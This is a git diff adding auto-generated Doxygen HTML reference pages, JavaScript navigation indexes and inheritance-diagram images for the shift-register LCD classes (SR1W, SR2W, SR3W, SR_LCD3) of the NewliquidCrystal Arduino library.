+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js new file mode 100644 index 0000000..5a3272a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.js @@ -0,0 +1,7 @@ +var class_liquid_crystal___s_r = +[ + [ "LiquidCrystal_SR", "class_liquid_crystal___s_r.html#ac3fe0b48f8d4c1c941d82d1333495cfc", null ], + [ "send", "class_liquid_crystal___s_r.html#a03821351a32db07cb7e42c8c11ce8d47", null ], + [ "setBacklight", "class_liquid_crystal___s_r.html#ad9f3e3f36257984c23fb508973e14535", null ], + [ "setBacklightPin", "class_liquid_crystal___s_r.html#a5bfc0dcc1f042bcb59992493a3a7231d", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r.png new file mode 100644 index 0000000000000000000000000000000000000000..f99d2102bf4a679e364b480eadf6561a2dc2d92d GIT binary patch literal 596 zcmeAS@N?(olHy`uVBq!ia0vp^IY8XO!3-o#bN^)nDTx4|5ZC|z{{xvX-h3_XKQsZz z0^$DS^ZAr*{o=f0h^S%JsR|54BRzxO|G zyTYC`9cKJje!cnGziGZ7SqjdVZQW^qeV^;YeLM;6D{mgos@}A;>~>au%H^sVyW>yC z+P{ALdhhGQ=i6o9a^JkNY2w{ex%Q`>8%$T$FIss`G17cf{@*o=qx8PzR^Q!hS?z4b ze)gB$?}y*_9!-fotUi_R{LMcrKHt2yW}@x9&CfTzwOzAn-JZ3Z%N9MW-07OU-C5^# zjz62p%LChrlAc@YR)-}2EMmM<99EX)zSf_|VMhP7nKM;Cvi`jo;oUe_i(FnGH9 KxvX + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR1W Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR1W, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR1W(uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol=POSITIVE)LiquidCrystal_SR1W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR1Wvirtual
setBacklight(uint8_t mode)LiquidCrystal_SR1Wvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html new file mode 100644 index 0000000..22765e5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.html @@ -0,0 +1,322 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR1W Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_SR1W Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR1W:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR1W (uint8_t srdata, t_sr1w_circuitType circuitType, t_backlighPol blpol=POSITIVE)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklight (uint8_t mode)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR1W::LiquidCrystal_SR1W (uint8_t srdata,
t_sr1w_circuitType circuitType,
t_backlighPol blpol = POSITIVE 
)
+
+

LCD 1 wire SHIFT REGISTER constructor. Defines the pin assignments that connect to the shift register. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters
+ + + + +
srdata[in]Arduino pin for shift register.
circuitType[in]optionally select an alternate circuit type
blpol[in]optional backlight polarity (default = POSITIVE)
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR1W::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR1W::setBacklight (uint8_t mode)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
mode[in]backlight mode (0 off, non-zero on)
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR1W.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js new file mode 100644 index 0000000..ecf896b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.js @@ -0,0 +1,6 @@ +var class_liquid_crystal___s_r1_w = +[ + [ "LiquidCrystal_SR1W", "class_liquid_crystal___s_r1_w.html#a33bff2c123d3dc42a829b0f8034912c9", null ], + [ "send", "class_liquid_crystal___s_r1_w.html#a7fc0b03977907b4d526a6b9e49a331b1", null ], + [ "setBacklight", "class_liquid_crystal___s_r1_w.html#a82d844569eb258559afb40ab354eb0a5", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r1_w.png new file mode 100644 index 0000000000000000000000000000000000000000..d5074f7cde611e34fd52626b01b7f036b79d7087 GIT binary patch literal 612 zcmeAS@N?(olHy`uVBq!ia0vp^bwJ#~!3-qD%+~J%QW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;(bJ3#oeXj z!t1kVQW#G&ulCrx zdw0kG72BU4f4pAId+zSvd3rC8e=3~iUH&~e=HmLv7vgvAey{TN-Me;=y+)s(*RH$y z{oT9o6ROI~1y`1ri!Z!BJ*bPPL7RucYRj+03BR`fYL9&>{`$Vn=V1N?N?#e2g7_6M zsB}Z)%Z-dHJZu{}_Ah$h{p?><&rGflXQFQ3S-*DqpSa%{H!d*eY_QpQGsoM0d)z6_ z4*4&^2e$6AvweGR+w-U2p6^}x-0IqNhiePUUmf2k^|$2iH=B0WYcjPx$*aR_FaOD| zHUBkz-fTgWuJl^o2bphQU%9(r{mUI|oa|j|^UGiFX5XLr#pvhTQ}z45m0ElapKo=Z zG49&>&D&4xeqDOMy!hs_`tN+RzyGzfy&z*9*SdX=uK(-(S%&q;8S9>{`L|5pweBN> h%bvaW&iEW-@BEi8aQ0TI4=_nEc)I$ztaD0e0sz~MGQ + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR2W Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR2W, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR2W(uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)LiquidCrystal_SR2W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR2Wvirtual
setBacklight(uint8_t mode)LiquidCrystal_SR2Wvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html new file mode 100644 index 0000000..0aecb99 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.html @@ -0,0 +1,322 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR2W Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_SR2W Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR2W:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklight (uint8_t mode)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata,
uint8_t srclock,
t_backlighPol blpol = POSITIVE 
)
+
+

LCD 2 wire SHIFT REGISTER constructor. Defines the pin assignments that connect to the shift register. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters
+ + + + +
srdata[in]Arduino pin for shift register data line.
srclock[in]Arduino pin for shift register clock line.
blpol[in]optional backlight polarity (default = POSITIVE)
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR2W::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR2W::setBacklight (uint8_t mode)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
mode[in]backlight mode (0 off, non-zero on)
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR2W.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js new file mode 100644 index 0000000..bc31d56 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.js @@ -0,0 +1,6 @@ +var class_liquid_crystal___s_r2_w = +[ + [ "LiquidCrystal_SR2W", "class_liquid_crystal___s_r2_w.html#af307fdf5c8feb757e965074dcdeb1dd3", null ], + [ "send", "class_liquid_crystal___s_r2_w.html#a65dc6f261c319be8e56f3c1f6a5c877d", null ], + [ "setBacklight", "class_liquid_crystal___s_r2_w.html#a2158db27287c1564a03e7a1472beb3b6", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r2_w.png new file mode 100644 index 0000000000000000000000000000000000000000..67a121eb206625c7c02ba049dc71b87fcd23bf33 GIT binary patch literal 622 zcmeAS@N?(olHy`uVBq!ia0vp^bwJ#~!3-qD%+~J%QW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;^pzVsgzMjvw7KXY%PNIk~=4R&x2{`gh9ar2(szmHG<(_UryG-0S=Q z{Nc|L;VMc=;^JQ??{4YnNRGMvyOQ;mfM8+6=gt0q-(UJ4@XX!ijx$LA5<4ZQmbm;h zHRcCg$_;#L>tvSJt^Jo6{_E&3{_}sXFt6~iZRohd+<{IVh-^!gC^6Wvd$q^j-Mc&X zuh?Gn=|{BF%Hs0-XI1}-$hVvB+AaUMYoDG|d`bCz&sTTv@=vTveYXDm&SyKz%lEfm z*}c0Pq?2QBokW`>+W}EG2HB{;7G8g&{vKZUrTeS=yq_!C114562(DxoK&Kiu&zSl0 z07J+UIfoTsp{POpDCFeHZ5eovEa_en>pV5x8)`CzW?&M zVfw4BKSQ#r^`_6i{;cxq$*;_r?0dcKzg~Uuyy$kZ`OHtRk6Ubg_4TaNm4mr2ci*gk zxpSuD<@c-WBpq)4zEl>wr~8-c!c%%*yua+a^|mPfdb#<(<$?0Mb^hhOpZ-!Oy_B!_ z-`{)kSFc~y{ + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SR3W Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SR3W, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCDvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SR3W)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SR3W)LiquidCrystal_SR3W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR3Wvirtual
setBacklight(uint8_t value)LiquidCrystal_SR3Wvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_SR3Wvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html new file mode 100644 index 0000000..5ffe7b9 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.html @@ -0,0 +1,464 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_SR3W Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+ +
+
LiquidCrystal_SR3W Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_SR3W:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe)
 
LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t value, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe 
)
+
+

Class constructor. Initializes class variables and defines the IO driving the shift register. The constructor does not initialize the LCD. Default configuration: Shift register LCD QA - 0 DB4 QB - 1 DB5 QC - 2 DB6 QD - 3 DB7 QE - 4 E QF - 5 QG - 6 Rs GND Rw

+
Parameters
+ + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to the shiftregister data pin.
clk[in]digital IO connected to the shiftregister clock pin.
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

Class constructor. Initializes class variables and defines the control lines of the LCD and the shiftregister. The constructor does not initialize the LCD.

+
Parameters
+ + + + + + + + + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to shiftregister data pin.
clk[in]digital IO connected to shiftregister clock pin.
En[in]LCD En (Enable) pin connected to SR output pin.
Rw[in]LCD Rw (Read/write) pin connected to SR output pin.
Rs[in]LCD Rs (Reg Select) pin connected to SR output pin.
d4[in]LCD data 4 pin map to the SR output pin.
d5[in]LCD data 5 pin map to the SR output pin.
d6[in]LCD data 6 pin map to the SR output pin.
d7[in]LCD data 7 pin map to the SR output pin.
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::send (uint8_t value,
uint8_t mode 
)
+
+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_SR3W::setBacklight (uint8_t value)
+
+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
)
+
+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters
+ + + +
valuepin mapped on the 74HC595N (0, .., 7) for (Qa0, .., Qh7) respectively.
polpolarity POSITIVE|NEGATIVE.
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.h
  • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SR3W.cpp
  • +
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js new file mode 100644 index 0000000..842f08b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.js @@ -0,0 +1,10 @@ +var class_liquid_crystal___s_r3_w = +[ + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#ae1396bcd5e9c5b7ed13182c166de776b", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#a7b2f382b76bc9d88adb8d681e824b4de", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#a4fab8ff2f21bba3efd133cd8c87fffc0", null ], + [ "LiquidCrystal_SR3W", "class_liquid_crystal___s_r3_w.html#a24f051747dfeda48f7b207c3358c8015", null ], + [ "send", "class_liquid_crystal___s_r3_w.html#ade34af5b7fe795482f1848c2176d6e56", null ], + [ "setBacklight", "class_liquid_crystal___s_r3_w.html#a6d0fc7907ef9fd87c408a21b9bd49295", null ], + [ "setBacklightPin", "class_liquid_crystal___s_r3_w.html#a894d0ea8ea61c1d15acd8a26d417e477", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r3_w.png new file mode 100644 index 0000000000000000000000000000000000000000..33a43029daa176938d4de42b3e721e4bd781d764 GIT binary patch literal 620 zcmeAS@N?(olHy`uVBq!ia0vp^bwJ#~!3-qD%+~J%QW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;CsoLpZiE4ln}{X1pz(ja|z7n#R%>Y~3ruA2RC ze*5!{=R91F=;^&uFV|F3>MP8B`&=@kyQ717j(qK_`sx4LjqH^k$py&^Dk^;y6jb_B zWo#_T5H7)3lJWJi#@Fnx{JSsdU#qWpwp`A^^%bMb5;+GKbn2WD&*25l2k*wZzPfwY z^^fb`sgsZ251Nww?%nR4OXii7a%gelwF|}^vzr)7%Um3K5_!X4CGAN-_ z1!Bg=vJwqlSC~6~=>FQ5@$P!ksgQ>7S683?6S95&y=D{3nw%GmW*WL?hqrynE{VSO zNc-=dhfhCA*d!k~J^0nPW$wMD^XFZC@x1EylRSf`*S{Bbz4~%ms-*Dt zue>k${&{W}G~&K?uU}J}xyA3EYpv|1Rh8boY1`gkE$7|OS>?NTpZ)!He~someY5mq zc3I5T>o>JOt&96!yZgcEU*~4t-+TC4ZT$D(-0$nyXWj1$f2f;(`tq;!O4r_79Qbd! pdjCuBiSafJg7WLljVFKPU%NV8Ox&||9x!Pzc)I$ztaD0e0sxz7E{6aB literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html new file mode 100644 index 0000000..8185ec5 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_r___l_c_d3-members.html @@ -0,0 +1,120 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR_LCD3 Member List
+
+
+This is the complete list of members for LiquidCrystal_SR_LCD3, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
command(uint8_t value)LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR_LCD3(uint8_t srdata, uint8_t srclock, uint8_t enable)LiquidCrystal_SR_LCD3
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
